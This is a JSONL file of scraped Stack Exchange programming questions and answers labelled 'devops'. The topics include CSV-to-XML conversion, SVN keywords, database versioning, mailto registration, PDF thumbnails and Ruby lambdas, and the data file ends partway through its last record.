{"id": "hf_8126edfab538", "question": "<p>Is there an existing application or library in <em>Java</em> which will allow me to convert a <code>CSV</code> data file to <code>XML</code> file?  </p>\n\n<p>The <code>XML</code> tags would be provided through possibly the first row containing column headings.</p>\n", "question_body": "", "answer": "This may be too basic or limited of a solution, but couldn't you do a\n```\nString.split()\n```\non each line of the file, remembering the result array of the first line to generate the XML, and just spit each line's array data out with the proper XML elements padding each iteration of a loop?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.430410"}
{"id": "hf_e0b439593fe7", "question": "<p>Does anyone know of a good way to compress or decompress files and folders in C# quickly? Handling large files might be necessary.</p>\n", "question_body": "", "answer": "As of .Net 1.1 the only available method is reaching into the java libraries.\nUsing the Zip Classes in the J# Class Libraries to Compress Files and Data with C#\nNot sure if this has changed in recent versions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.481040"}
{"id": "hf_685b611c18ae", "question": "<p>Stack Overflow has a subversion version number at the bottom:</p>\n\n<blockquote>\n  <p>svn revision: 679</p>\n</blockquote>\n\n<p>I want to use such automatic versioning with my <code>.NET Web Site/Application</code>, Windows Forms, WPD projects/solutions.</p>\n\n<p>How do I implement this?</p>\n", "question_body": "", "answer": "You can do it by adding the following anywhere in your code\n```\n```\n$Id:$\n```\n```\nSo for example @Jeff did:\n```\n```\n<div id=\"svnrevision\">svn revision: $Id:$</div>\n```\n```\nand when checked in the server replaced $Id:$ with the current revision number.  I also\nfound this reference\n.\nThere is also\n$Date:$\n,\n$Rev:$\n,\n$Revision:$", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.516739"}
{"id": "hf_a66b748f691c", "question": "<p>I want to get my databases under version control.</p>\n<p>I'll always want to have at least <em>some</em> data in there (as <a href=\"https://stackoverflow.com/users/80/alumb\">alumb</a> mentions: user types and administrators). I'll also often want a large collection of generated test data for performance measurements.</p>\n<p>How would I apply version control to my database?</p>\n", "question_body": "", "answer": "This is one of the \"hard problems\" surrounding development. As far as I know there are no perfect solutions.\nIf you only need to store the database structure and not the data you can export the database as SQL queries. (in Enterprise Manager: Right click on database -> Generate SQL script. I recommend setting the \"create one file per object\" on the options tab) You can then commit these text files to svn and make use of svn's diff and logging functions.\nI have this tied together with a Batch script that takes a couple parameters and sets up the database. I also added some additional queries that enter default data like user types and the admin user. (If you want more info on this, post something and I can put the script somewhere accessible)\nIf you need to keep all of the data as well, I recommend keeping a back up of the database and using Redgate (\nhttp://www.red-gate.com/\n) products to do the comparisons. They don't come cheap, but they are worth every penny.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.559297"}
{"id": "hf_27ce3384fc1f", "question": "<p>I want to be able to display a normal YouTube video with overlaid annotations, consisting of coloured rectangles for each frame. The only requirement is that this should be done programmatically. </p>\n\n<p>YouTube has annotations now, but require you to use their front end to create them by hand. I want to be able to generate them. What's the best way of doing this?</p>\n\n<p>Some ideas:</p>\n\n<blockquote>\n  <ol>\n  <li>Build your own Flash player (ew?)</li>\n  <li>Somehow draw over the YouTube Flash player. Will this work?</li>\n  <li>Reverse engineer &amp; hijack YouTube's annotation system. Either messing with the local files or redirecting its attempt to download\n  the annotations. (using Greasemonkey? Firefox plugin?)</li>\n  </ol>\n</blockquote>\n\n<p>Idea that doesn't count: </p>\n\n<blockquote>\n  <p>download the video</p>\n</blockquote>\n", "question_body": "", "answer": "The player itself has a\nJavascript API\nthat might be useful for syncing the video if you choose to make your own\n```\nannotation-thingamajig\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.598342"}
{"id": "hf_b5cadc693c95", "question": "<p>This is something I've pseudo-solved many times and have never quite found a solution for.</p>\n\n<p>The problem is to come up with a way to generate <code>N</code> colors, that are as distinguishable as possible where <code>N</code> is a parameter.</p>\n", "question_body": "", "answer": "I've read somewhere the human eye can't distinguish between less than 4 values apart. so This is something to keep in mind. The following algorithm does not compensate for this.\nI'm not sure this is exactly what you want, but this is one way to randomly generate non-repeating color values:\n(beware, inconsistent pseudo-code ahead)\n```\n```\n//colors entered as 0-255 [R, G, B]\ncolors = []; //holds final colors to be used\nrand = new Random();\n\n//assumes n is less than 16,777,216\nrandomGen(int n){\n   while (len(colors) < n){\n      //generate a random number between 0,255 for each color\n      newRed = rand.next(256);\n      newGreen = rand.next(256);\n      newBlue = rand.next(256);\n      temp = [newRed, newGreen, newBlue];\n      //only adds new colors to the array\n      if temp not in colors {\n         colors.append(temp);\n      }\n   }\n}\n```\n```\nOne way you could optimize this for better visibility would be to compare the distance between each new color and all the colors in the array:\n```\n```\nfor item in color{\n   itemSq = (item[0]^2 + item[1]^2 + item[2]^2])^(.5);\n   tempSq = (temp[0]^2 + temp[1]^2 + temp[2]^2])^(.5);\n   dist = itemSq - tempSq;\n   dist = abs(dist);\n}\n//NUMBER can be your chosen distance apart.\nif dist < NUMBER and temp not in colors {\n   colors.append(temp);\n}\n```\n```\nBut this approach would significantly slow down your algorithm.\nAnother way would be to scrap the randomness and systematically go through every 4 values and add a color to an array in the above example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.634644"}
{"id": "hf_67a80a6c3ddd", "question": "<p>I have the following arrays:</p>\n\n<pre><code>$artist = array(\"the roots\", \"michael jackson\", \"billy idol\", \"more\", \"and more\", \"and_YET_MORE\");\n$count = array(5, 3, 9, 1, 1, 3);\n</code></pre>\n\n<p>I want to generate a tag cloud that will have artists with a higher number in <code>$count</code> enclosed in <code>h6</code> tags and the lowest enclosed <code>h1</code> tags.</p>\n", "question_body": "", "answer": "Off the top of my head...\n```\n```\n$artist = array(\"the roots\",\"michael jackson\",\"billy idol\",\"more\",\"and more\",\"and_YET_MORE\");\n$count = array(5,3,9,1,1,3);\n$highest = max($count);\nfor (int $x = 0; $x < count($artist); $x++)\n{\n    $normalized = $count[$x] / $highest;\n    $heading = ceil($normalized * 6); // 6 heading types\n    echo \"<h\".$heading.\">\".$artist[$x].\"</h\".$heading.\">\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.682194"}
{"id": "hf_b5e7d6c28ebb", "question": "<p>How do I make it so <code>mailto:</code> links will be registered with my program?</p>\n<p>How would I then handle that event in my program?</p>\n<p>Most of the solutions I found from a quick Google search are how to do this manually, but I need to do this automatically for users of my program if they click a button, such as &quot;set as default email client&quot;.</p>\n<p>#Edit:\nRemoved reference to Delphi, because the answer is independent of your language.</p>\n", "question_body": "", "answer": "From what I've seen, there are a few registry keys that set the default mail client. One of them is:\nSystem Key:\n```\n[HKEY_CLASSES_ROOT\\mailto\\shell\\open\\command]\n```\nValue Name:\n```\n(Default)\n```\nData Type:\n```\nREG_SZ\n```\n(String Value)\nValue Data:\n```\nMail program command-line\n```\n.\nI'm not familiar  with\n```\nDelphi 7\n```\n, but I'm sure there are some\nregistry editing libraries\nthere that you could use to modify this value.\nSome places list more than this\nkey\n, others just this key, so you may need to test a little bit to find the proper one(s).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.706495"}
{"id": "hf_5f1e9593bd60", "question": "<p>MySQL has this incredibly useful yet proprietary <code>REPLACE INTO</code> SQL Command. </p>\n\n<p>Can this easily be emulated in SQL Server 2005?</p>\n\n<p>Starting a new Transaction, doing a <code>Select()</code> and then either <code>UPDATE</code> or <code>INSERT</code> and <code>COMMIT</code> is always a little bit of a pain, especially when doing it in the application and therefore always keeping 2 versions of the statement.</p>\n\n<p>I wonder if there is an easy and <strong>universal</strong> way to implement such a function into SQL Server 2005?</p>\n", "question_body": "", "answer": "The functionality you're looking for is traditionally called an UPSERT. Atleast knowing what it's called might help you find what you're looking for.\nI don't think SQL Server 2005 has any great ways of doing this. 2008 introduces the MERGE statement that can be used to accomplish this as shown in:\nhttp://www.databasejournal.com/features/mssql/article.php/3739131\nor\nhttp://blogs.conchango.com/davidportas/archive/2007/11/14/SQL-Server-2008-MERGE.aspx\nMerge was available in the beta of 2005, but they removed it out in the final release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.730464"}
{"id": "hf_78b2b66d41c5", "question": "<p>What are the best practices for checking in BIN directories in a collaborative development environment using SVN?  Should project level references be excluded from checkin?  Is it easier to just add all bin directories?</p>\n\n<p>I develop a lot of DotNetNuke sites and it seems that in a multi-developer environment, it's always a huge task to get the environment setup correctly.</p>\n\n<p>The ultimate goal (of course) is to have a new developer checkout the trunk from SVN, restore the DNN database and have it all just 'work'...</p>\n", "question_body": "", "answer": "Any assemblies that are expected to be in the GAC should stay in the GAC. This includes System.web.dll or any other 3rd party dll that you'll deploy to the GAC in production. This means a new developer would have to install these assemblies.\nAll other 3rd party assemblies should be references through a relative path. My typical structure is:\n```\n```\n-Project\n--Project.sln\n--References\n---StructureMap.dll\n---NUnit.dll\n---System.Web.Mvc.dll\n--Project.Web\n---Project.Web.Proj\n---Project.Web.Proj files\n--Project\n---Project.Proj\n---Project.Proj files\n```\n```\nProject.Web and Project reference the assemblies in the root/References folder relatively. These .dlls are checked into subversion.\nAside from that, */bin  */bin/* obj  should be in your global ignore path.\nWith this setup, all references to assemblies are either through the GAC (so should work across all computers), or relative to each project within your solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.808086"}
{"id": "hf_7200088b7643", "question": "<p>I often have to sort a dictionary (consisting of keys &amp; values) by value. For example, I have a hash of words and respective frequencies that I want to order by frequency.</p>\n<p>There is a <code>SortedList</code> which is good for a single value (say frequency), that I want to map back to the word.</p>\n<p><a href=\"http://msdn.microsoft.com/en-us/library/f7fta44c.aspx\" rel=\"noreferrer\">SortedDictionary</a> orders by key, not value. Some resort to a <a href=\"http://www.codeproject.com/KB/recipes/lookupcollection.aspx\" rel=\"noreferrer\">custom class</a>, but is there a cleaner way?</p>\n", "question_body": "", "answer": "Looking around, and using some C# 3.0 features we can do this:\n```\n```\nforeach (KeyValuePair<string,int> item in keywordCounts.OrderBy(key=> key.Value))\n{ \n    // do something with item.Key and item.Value\n}\n```\n```\nThis is the cleanest way I've seen and is similar to the Ruby way of handling hashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.835680"}
{"id": "hf_0ccfe645f517", "question": "<p>When is it appropriate to use an unsigned variable over a signed one? What about in a <code>for</code> loop?</p>\n\n<p>I hear a lot of opinions about this and I wanted to see if there was anything resembling a consensus. </p>\n\n<pre><code>for (unsigned int i = 0; i &lt; someThing.length(); i++) {  \n    SomeThing var = someThing.at(i);  \n    // You get the idea.  \n}\n</code></pre>\n\n<p>I know Java doesn't have unsigned values, and that must have been a concious decision on <a href=\"https://en.wikipedia.org/wiki/Sun_Microsystems\" rel=\"noreferrer\">Sun Microsystems</a>' part. </p>\n", "question_body": "", "answer": "I was glad to find\na good conversation\non this subject, as I hadn't really given it much thought before.\nIn summary, signed is a good general choice - even when you're dead sure all the numbers are positive - if you're going to do arithmetic on the variable (like in a typical for loop case).\nunsigned starts to make more sense when:\nYou're going to do\nbitwise things\nlike masks, or\nYou're\ndesperate\nto to take advantage of the sign bit\nfor that extra positive range\n.\nPersonally, I like signed because I don't trust myself to stay consistent and avoid mixing the two types (like the article warns against).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.895314"}
{"id": "hf_f0fa8327e26e", "question": "<p>I am about to build a piece of a project that will need to construct and post an XML document to a web service and I'd like to do it in Python, as a means to expand my skills in it.  </p>\n\n<p>Unfortunately, whilst I know the XML model fairly well in .NET, I'm uncertain what the pros and cons are of the XML models in Python.  </p>\n\n<p>Anyone have experience doing XML processing in Python? Where would you suggest I start? The XML files I'll be building will be fairly simple.</p>\n", "question_body": "", "answer": "Personally, I've played with several of the built-in options on an XML-heavy project and have settled on\npulldom\nas the best choice for less complex documents.\nEspecially for small simple stuff, I like the event-driven theory of parsing rather than setting up a whole slew of callbacks for a relatively simple structure.\nHere is a good quick discussion of how to use the API\n.\nWhat I like: you can handle the parsing in a\n```\nfor\n```\nloop rather than using callbacks.  You also delay full parsing (the \"pull\" part) and only get additional detail when you call\n```\nexpandNode()\n```\n.  This satisfies my general requirement for \"responsible\" efficiency without sacrificing ease of use and simplicity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.919542"}
{"id": "hf_cd6e6f7874da", "question": "<p>How would I go about generating a list of all possible permutations of a string between x and y characters in length, containing a variable list of characters.</p>\n\n<p>Any language would work, but it should be portable.</p>\n", "question_body": "", "answer": "There are several ways to do this. Common methods use recursion, memoization, or dynamic programming. The basic idea is that you produce a list of all strings of length 1, then in each iteration, for all strings produced in the last iteration, add that string concatenated with each character in the string individually. (the variable index in the code below keeps track of the start of the last and the next iteration)\nSome pseudocode:\n```\n```\nlist = originalString.split('')\nindex = (0,0)\nlist = [\"\"]\nfor iteration n in 1 to y:\n  index = (index[1], len(list))\n  for string s in list.subset(index[0] to end):\n    for character c in originalString:\n      list.add(s + c)\n```\n```\nyou'd then need to remove all strings less than x in length, they'll be the first (x-1) * len(originalString) entries in the list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.943655"}
{"id": "hf_d64ad65b0344", "question": "<p>This is a tricky one and I've always relied on techniques, such as permission-based emails (i.e. only sending to people you have permission to send to) and not using blatantly <em>spamish</em> terminology.</p>\n\n<p>Of late, some of the emails I send out programmatically have started being shuffled into people's spam folder automatically and I'm wondering what I can do about it.</p>\n\n<p>This is despite the fact that these particular emails are not ones that humans would mark as spam, specifically, they are emails that contain license keys that people have paid good money for, so I don't think they're going to consider them spam</p>\n\n<p>I figure this is a big topic in which I am essentially an ignorant simpleton.</p>\n", "question_body": "", "answer": "You can tell your users to add your From address to their contacts when they complete their order, which, if they do so, will help a lot.\nOtherwise, I would try to get a log from some of your users. Sometimes they have details about why it was flagged as spam in the headers of the message, which you could use to tweak the text.\nOther things you can try:\nPut your site name or address in the subject\nKeep all links in the message pointing to your domain (and not email.com)\nPut an address or other contact information in the email", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.967973"}
{"id": "hf_f00f9b74758a", "question": "<p>In Lucene if you had multiple indexes that covered only one partition each. Why does the same search on different indexes return results with different scores? The results from different servers match exactly. </p>\n\n<p>i.e. if I searched for :</p>\n\n<ul>\n<li>Name - John Smith</li>\n<li>DOB - 11/11/1934</li>\n</ul>\n\n<p><strong>Partition 0</strong> would return a score of 0.345</p>\n\n<p><strong>Partition 1</strong> would return a score of 0.337</p>\n\n<p>Both match exactly on name and DOB.</p>\n", "question_body": "", "answer": "The\nscoring\ncontains the Inverse Document Frequency(IDF). If the term \"John Smith\" is in one partition, 0, 100 times and in partition 1, once. The score for searching for John Smith would be higher search in partition 1 as the term is more scarce.\nTo get round this you would wither have to have your index being over all partitions, or you would need to override the IDF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.992566"}
{"id": "hf_702829ec84a3", "question": "<p>Please note that this question is from 2008 and now is of only historic interest.</p>\n\n<hr>\n\n<p>What's the best way to create an iPhone application that runs in landscape mode from the start, regardless of the position of the device?</p>\n\n<p>Both programmatically and using the Interface Builder.</p>\n", "question_body": "", "answer": "From the Apple Dev Site:\nTo start your application in landscape\n  mode so that the status bar is in the\n  appropriate position immediately, edit\n  your Info.plist file to add the\n  UIInterfaceOrientation key with the\n  appropriate value\n  (UIInterfaceOrientationLandscapeRight\n  or\n  UIInterfaceOrientationLandscapeLeft),\n  as shown in Listing 2.\nListing 2: Starting your application\n  in landscape mode\n```\n```\n<key>UIInterfaceOrientation</key>\n<string>UIInterfaceOrientationLandscapeRight</string>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.016593"}
{"id": "hf_cdfb9141a7a5", "question": "<p>I am using the Photoshop's javascript API to find the fonts in a given PSD.</p>\n\n<p>Given a font name returned by the API, I want to find the actual physical font file that font name corresponds to on the disc.</p>\n\n<p>This is all happening in a python program running on OSX so I guess I'm looking for one of:</p>\n\n<ul>\n<li>Some Photoshop javascript</li>\n<li>A Python function</li>\n<li>An OSX API that I can call from python</li>\n</ul>\n", "question_body": "", "answer": "open up a terminal (Applications->Utilities->Terminal) and type this in:\n```\n```\nlocate InsertFontHere\n```\n```\nThis will spit out every file that has the name you want.\nWarning: there may be alot to wade through.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.064568"}
{"id": "hf_c04a22077889", "question": "<p>Assume you are doing something like the following</p>\n\n<pre><code>List&lt;string&gt; myitems = new List&lt;string&gt;\n{\n    \"Item 1\",\n    \"Item 2\",\n    \"Item 3\"\n};\n\nComboBox box = new ComboBox();\nbox.DataSource = myitems;\n\nComboBox box2 = new ComboBox();\nbox2.DataSource = myitems\n</code></pre>\n\n<p>So now we have 2 combo boxes bound to that array, and everything works fine. But when you change the value of one combo box, it changes BOTH combo boxes to the one you just selected.</p>\n\n<p>Now, I know that Arrays are always passed by reference (learned that when i learned C :D), but why on earth would the combo boxes change together? I don't believe the combo box control is modifying the collection at all. </p>\n\n<p>As a workaround, don't this would achieve the functionality that is expected/desired</p>\n\n<pre><code>ComboBox box = new ComboBox();\nbox.DataSource = myitems.ToArray();\n</code></pre>\n", "question_body": "", "answer": "This has to do with how data bindings are set up in the dotnet framework, especially the\n```\nBindingContext\n```\n. On a high level it means that if you haven't specified otherwise each form and all the controls of the form share the same\n```\nBindingContext\n```\n. When you are setting the\n```\nDataSource\n```\nproperty the\n```\nComboBox\n```\nwill use the\n```\nBindingContext\n```\nto get a\n```\nConcurrenyMangager\n```\nthat wraps the list. The\n```\nConcurrenyManager\n```\nkeeps track of such things as the current selected position in the list.\nWhen you set the\n```\nDataSource\n```\nof the second\n```\nComboBox\n```\nit will use the same\n```\nBindingContext\n```\n(the forms) which will yield a reference to the same\n```\nConcurrencyManager\n```\nas above used to set up the data bindings.\nTo get a more detailed explanation see\nBindingContext\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.088623"}
{"id": "hf_0d4279d0df49", "question": "<p>I have a cross-platform (Python) application which needs to generate a JPEG preview of the first page of a PDF.</p>\n\n<p>On the Mac I am spawning <a href=\"http://web.archive.org/web/20090309234215/http://developer.apple.com:80/documentation/Darwin/Reference/ManPages/man1/sips.1.html\" rel=\"noreferrer\">sips</a>.  Is there something similarly simple I can do on Windows?</p>\n", "question_body": "", "answer": "You can use ImageMagick's convert utility for this, see some examples in\nhttp://studio.imagemagick.org/pipermail/magick-users/2002-May/002636.html\n:\n```\n```\nConvert taxes.pdf taxes.jpg\n```\n```\nWill convert a two page PDF file into [2] jpeg files: taxes.jpg.0,\n  taxes.jpg.1\nI can also convert these JPEGS to a thumbnail as follows:\n```\n```\nconvert -size 120x120 taxes.jpg.0 -geometry 120x120 +profile '*' thumbnail.jpg\n```\n```\nI can even convert the PDF directly to a jpeg thumbnail as follows:\n```\n```\nconvert -size 120x120 taxes.pdf -geometry 120x120 +profile '*' thumbnail.jpg\n```\n```\nThis will result in a thumbnail.jpg.0 and thumbnail.jpg.1 for the two\n  pages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.113557"}
{"id": "hf_d45a992e4cdc", "question": "<p>I would like to test a function with a tuple from a set of fringe cases and normal values. For example, while testing a function which returns <code>true</code> whenever given three lengths that form a valid triangle, I would have specific cases, negative / small / large numbers, values close-to being overflowed, etc.; what is more, main aim is to generate combinations of these values, <em>with</em> or <em>without</em> repetition, in order to get a set of test data.</p>\n\n<pre><code>(inf,0,-1), (5,10,1000), (10,5,5), (0,-1,5), (1000,inf,inf),\n...\n</code></pre>\n\n<blockquote>\n  <p><em>As a note: I actually know the answer to this, but it might be helpful for others, and a challenge for people here! --will post my answer later on.</em></p>\n</blockquote>\n", "question_body": "", "answer": "Interesting question!\nI would do this by picking combinations, something like the following in python.  The hardest part is probably first pass verification, i.e.\n```\nif f(1,2,3) returns true\n```\n, is that a correct result?  Once you have verified that, then this is a good basis for regression testing.\nProbably it's a good idea to make a set of test cases that you know will be all true (e.g. 3,4,5 for this triangle case), and a set of test cases that you know will be all false (e.g. 0,1,inf).  Then you can more easily verify the tests are correct.\n```\n# xpermutations from http://code.activestate.com/recipes/190465\nfrom xpermutations import *\n\nlengths=[-1,0,1,5,10,0,1000,'inf']\nfor c in xselections(lengths,3):        # or xuniqueselections\n    print c\n```\n```\n(-1,-1,-1);\n(-1,-1,0);\n(-1,-1,1);\n(-1,-1,5);\n(-1,-1,10);\n(-1,-1,0);\n(-1,-1,1000);\n(-1,-1,inf);\n(-1,0,-1);\n(-1,0,0);\n...\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.175489"}
{"id": "hf_7966872d65a5", "question": "<p>I was reading <em><a href=\"https://rads.stackoverflow.com/amzn/click/com/1430209879\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">More Joel on Software</a></em> when I came across <a href=\"http://en.wikipedia.org/wiki/Joel_Spolsky\" rel=\"noreferrer\">Joel Spolsky</a> saying something about a particular type of programmer knowing the difference between an <code>int</code> and an <code>Integer</code> in Java/C# (Object-Oriented Programming Languages).</p>\n\n<p>So, what is the difference?</p>\n", "question_body": "", "answer": "In Java,\nthe 'int' type is a primitive, whereas the 'Integer' type is an object.\nIn C#,\nthe 'int' type is the same as\n```\nSystem.Int32\n```\nand is\na value type\n(ie more like the java 'int'). An integer (just like any other value types) can be\nboxed\n(\"wrapped\") into an object.\nThe differences between objects and primitives are somewhat beyond the scope of this question, but to summarize:\nObjects\nprovide facilities for polymorphism, are passed by reference (or more accurately have references passed by value), and are allocated from the\nheap\n. Conversely,\nprimitives\nare immutable types that are passed by value and are often allocated from the\nstack\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.200859"}
{"id": "hf_0148a53ce519", "question": "<p>There are several ways to iterate over a result set. What are the tradeoff of each?</p>\n", "question_body": "", "answer": "The canonical way is to use the built-in cursor iterator.\n```\n```\ncurs.execute('select * from people')\nfor row in curs:\n    print row\n```\n```\nYou can use\n```\nfetchall()\n```\nto get all rows at once.\n```\n```\nfor row in curs.fetchall():\n    print row\n```\n```\nIt can be convenient to use this to create a Python list containing the values returned:\n```\n```\ncurs.execute('select first_name from people')\nnames = [row[0] for row in curs.fetchall()]\n```\n```\nThis can be useful for smaller result sets, but can have bad side effects if the result set is large.\nYou have to wait for the entire result set to be returned to\nyour client process.\nYou may eat up a lot of memory in your client to hold\nthe built-up list.\nIt may take a while for Python to construct and deconstruct the\nlist which you are going to immediately discard anyways.\nIf you know there's a single row being returned in the result set you can call\n```\nfetchone()\n```\nto get the single row.\n```\n```\ncurs.execute('select max(x) from t')\nmaxValue = curs.fetchone()[0]\n```\n```\nFinally, you can loop over the result set fetching one row at a time.  In general, there's no particular advantage in doing this over using the iterator.\n```\n```\nrow = curs.fetchone()\nwhile row:\n    print row\n    row = curs.fetchone()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.253855"}
{"id": "hf_147d30939eb8", "question": "<p>I'm looking for a performant, reasonably robust RNG using no special hardware. It can use mathematical methods (Mersenne Twister, etc), it can \"collect entropy\" from the machine, whatever. On Linux/etc we have a <code>drand48()</code> which generates 48 random bits. I'd like a similar function/class for C++ or C# which can generate more than 32 bits of randomness and which low-order bits are equally as random as high-order bits.</p>\n\n<p>It doesn't have to be cryptographically secure but it must not use or be based on the C-language <code>rand()</code> or .NET <code>System.Random</code>.</p>\n\n<p>Any source code, links to source, etc. would be appreciated! Failing that, what TYPE of RNG should I be looking for?</p>\n", "question_body": "", "answer": "For C++,\nBoost.Random\nis probably what you're looking for. It has support for MT (among many other algorithms), and can collect entropy via the\n```\nnondet_random\n```\nclass. Check it out! :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.278986"}
{"id": "hf_f497a1c5a1f6", "question": "<p>In Ruby 1.8, there are subtle differences between proc/lambda on the one hand, and <code>Proc.new</code> on the other. </p>\n\n<ul>\n<li>What are those differences?</li>\n<li>Can you give guidelines on how to decide which one to choose?</li>\n<li>In Ruby 1.9, proc and lambda are different. What's the deal?</li>\n</ul>\n", "question_body": "", "answer": "I found\nthis page\nwhich shows what the difference between\n```\nProc.new\n```\nand\n```\nlambda\n```\nare.  According to the page, the only difference is that a lambda is strict about the number of arguments it accepts, whereas\n```\nProc.new\n```\nconverts missing arguments to\n```\nnil\n```\n.  Here is an example IRB session illustrating the difference:\n```\nirb(main):001:0> l = lambda { |x, y| x + y }\n=> #<Proc:0x00007fc605ec0748@(irb):1>\nirb(main):002:0> p = Proc.new { |x, y| x + y }\n=> #<Proc:0x00007fc605ea8698@(irb):2>\nirb(main):003:0> l.call \"hello\", \"world\"\n=> \"helloworld\"\nirb(main):004:0> p.call \"hello\", \"world\"\n=> \"helloworld\"\nirb(main):005:0> l.call \"hello\"\nArgumentError: wrong number of arguments (1 for 2)\n    from (irb):1\n    from (irb):5:in `call'\n    from (irb):5\n    from :0\nirb(main):006:0> p.call \"hello\"\nTypeError: can't convert nil into String\n    from (irb):2:in `+'\n    from (irb):2\n    from (irb):6:in `call'\n    from (irb):6\n    from :0\n```\nThe page also recommends using lambda unless you specifically want the error tolerant behavior.  I agree with this sentiment.  Using a lambda seems a tad more concise, and with such an insignificant difference, it seems the better choice in the average situation.\nAs for Ruby 1.9, sorry, I haven't looked into 1.9 yet, but I don't imagine they would change it all that much (don't take my word for it though, it seems you have heard of some changes, so I am probably wrong there).", 